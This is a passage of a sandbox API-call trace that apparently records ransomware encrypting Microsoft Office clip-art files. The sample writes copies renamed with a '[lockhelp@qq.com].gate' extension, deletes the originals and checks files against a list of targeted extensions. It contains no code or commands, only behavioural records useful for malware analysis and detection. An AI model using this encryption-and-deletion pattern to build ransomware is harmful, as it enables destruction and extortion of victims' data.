(hObject=0x50c) returned 1 [0299.848] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.848] SetEndOfFile (hFile=0x538) returned 1 [0299.850] CloseHandle (hObject=0x538) returned 1 [0299.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0299.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0299.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0299.851] lstrlenW (lpString=".doc") returned 4 [0299.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.851] lstrlenW (lpString=".docx") returned 5 [0299.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.851] lstrlenW (lpString=".pdf") returned 4 [0299.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.851] lstrlenW (lpString=".xls") returned 4 [0299.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.852] lstrlenW (lpString=".xlsx") returned 5 [0299.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.852] lstrlenW (lpString=".ppt") returned 4 [0299.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0299.852] lstrlenW (lpString=".zip") returned 4 [0299.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.852] lstrlenW (lpString=".rar") returned 4 [0299.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.852] lstrlenW (lpString=".bz2") returned 4 [0299.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.852] lstrlenW (lpString=".7z") returned 3 [0299.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0299.852] lstrlenW (lpString=".dbf") returned 4 [0299.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0299.852] lstrlenW (lpString=".1cd") returned 4 [0299.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0299.852] lstrlenW (lpString=".jpg") returned 4 [0299.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.908] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1564) returned 1 [0299.908] CloseHandle (hObject=0x4e8) returned 1 [0299.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0299.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.908] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.909] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0299.909] GetLastError () returned 0x0 [0299.909] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x61c, lpOverlapped=0x0) returned 1 [0299.970] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x620, lpOverlapped=0x0) returned 1 [0300.350] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.350] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.350] SetEndOfFile (hFile=0x4f0) returned 1 [0300.427] CloseHandle (hObject=0x4f0) returned 1 [0300.428] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.428] SetEndOfFile (hFile=0x4e8) returned 1 [0300.433] CloseHandle (hObject=0x4e8) returned 1 [0300.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0300.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0300.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0300.671] lstrlenW (lpString=".doc") returned 4 [0300.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.671] lstrlenW (lpString=".docx") returned 5 [0300.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.671] lstrlenW (lpString=".pdf") returned 4 [0300.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.671] lstrlenW (lpString=".xls") returned 4 [0300.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.671] lstrlenW (lpString=".xlsx") returned 5 [0300.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.671] lstrlenW (lpString=".ppt") returned 4 [0300.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0300.671] lstrlenW (lpString=".zip") returned 4 [0300.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.671] lstrlenW (lpString=".rar") returned 4 [0300.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.671] lstrlenW (lpString=".bz2") returned 4 [0300.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.671] lstrlenW (lpString=".7z") returned 3 [0300.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0300.671] lstrlenW (lpString=".dbf") returned 4 [0300.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0300.671] lstrlenW (lpString=".1cd") returned 4 [0300.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0300.671] lstrlenW (lpString=".jpg") returned 4 [0300.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.672] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3128) returned 1 [0300.672] CloseHandle (hObject=0x538) returned 1 [0300.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0300.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0300.672] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.672] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0300.673] GetLastError () returned 0x0 [0300.673] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xc38, lpOverlapped=0x0) returned 1 [0300.676] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xc40, lpOverlapped=0x0) returned 1 [0300.677] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.677] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.677] SetEndOfFile (hFile=0x50c) returned 1 [0300.677] CloseHandle (hObject=0x50c) returned 1 [0300.677] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.677] SetEndOfFile (hFile=0x538) returned 1 [0300.679] CloseHandle (hObject=0x538) returned 1 [0300.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0300.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0300.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0300.680] lstrlenW (lpString=".doc") returned 4 [0300.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.680] lstrlenW (lpString=".docx") returned 5 [0300.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.680] lstrlenW (lpString=".pdf") returned 4 [0300.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.680] lstrlenW (lpString=".xls") returned 4 [0300.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.681] lstrlenW (lpString=".xlsx") returned 5 [0300.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.681] lstrlenW (lpString=".ppt") returned 4 [0300.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0300.681] lstrlenW (lpString=".zip") returned 4 [0300.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.681] lstrlenW (lpString=".rar") returned 4 [0300.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.681] lstrlenW (lpString=".bz2") returned 4 [0300.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.681] lstrlenW (lpString=".7z") returned 3 [0300.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0300.681] lstrlenW (lpString=".dbf") returned 4 [0300.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0300.681] lstrlenW (lpString=".1cd") returned 4 [0300.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0300.681] lstrlenW (lpString=".jpg") returned 4 [0300.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.682] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2070) returned 1 [0300.682] CloseHandle (hObject=0x538) returned 1 [0300.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0300.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0300.682] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.682] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0300.683] GetLastError () returned 0x0 [0300.683] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x816, lpOverlapped=0x0) returned 1 [0301.028] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x820, lpOverlapped=0x0) returned 1 [0301.029] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.029] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xe4, lpOverlapped=0x0) returned 1 [0301.029] SetEndOfFile (hFile=0x50c) returned 1 [0301.035] CloseHandle (hObject=0x50c) returned 1 [0301.038] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.038] SetEndOfFile (hFile=0x538) returned 1 [0301.056] CloseHandle (hObject=0x538) returned 1 [0301.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0301.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0301.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0301.057] lstrlenW (lpString=".doc") returned 4 [0301.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.057] lstrlenW (lpString=".docx") returned 5 [0301.057] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0301.057] lstrlenW (lpString=".pdf") returned 4 [0301.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.057] lstrlenW (lpString=".xls") returned 4 [0301.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.057] lstrlenW (lpString=".xlsx") returned 5 [0301.057] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0301.058] lstrlenW (lpString=".ppt") returned 4 [0301.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0301.058] lstrlenW (lpString=".zip") returned 4 [0301.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.058] lstrlenW (lpString=".rar") returned 4 [0301.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.058] lstrlenW (lpString=".bz2") returned 4 [0301.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.058] lstrlenW (lpString=".7z") returned 3 [0301.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0301.058] lstrlenW (lpString=".dbf") returned 4 [0301.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0301.058] lstrlenW (lpString=".1cd") returned 4 [0301.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0301.058] lstrlenW (lpString=".jpg") returned 4 [0301.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.369] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2232) returned 1 [0301.370] CloseHandle (hObject=0x564) returned 1 [0301.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0301.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0301.370] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.370] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0301.371] GetLastError () returned 0x0 [0301.371] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0301.489] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0301.490] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.490] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.490] SetEndOfFile (hFile=0x4f8) returned 1 [0301.490] CloseHandle (hObject=0x4f8) returned 1 [0301.490] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.490] SetEndOfFile (hFile=0x564) returned 1 [0301.492] CloseHandle (hObject=0x564) returned 1 [0301.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0301.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0301.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0301.663] lstrlenW (lpString=".doc") returned 4 [0301.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.663] lstrlenW (lpString=".docx") returned 5 [0301.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.663] lstrlenW (lpString=".pdf") returned 4 [0301.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.663] lstrlenW (lpString=".xls") returned 4 [0301.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.663] lstrlenW (lpString=".xlsx") returned 5 [0301.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.663] lstrlenW (lpString=".ppt") returned 4 [0301.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0301.663] lstrlenW (lpString=".zip") returned 4 [0301.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.663] lstrlenW (lpString=".rar") returned 4 [0301.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.663] lstrlenW (lpString=".bz2") returned 4 [0301.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.663] lstrlenW (lpString=".7z") returned 3 [0301.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0301.663] lstrlenW (lpString=".dbf") returned 4 [0301.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0301.663] lstrlenW (lpString=".1cd") returned 4 [0301.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 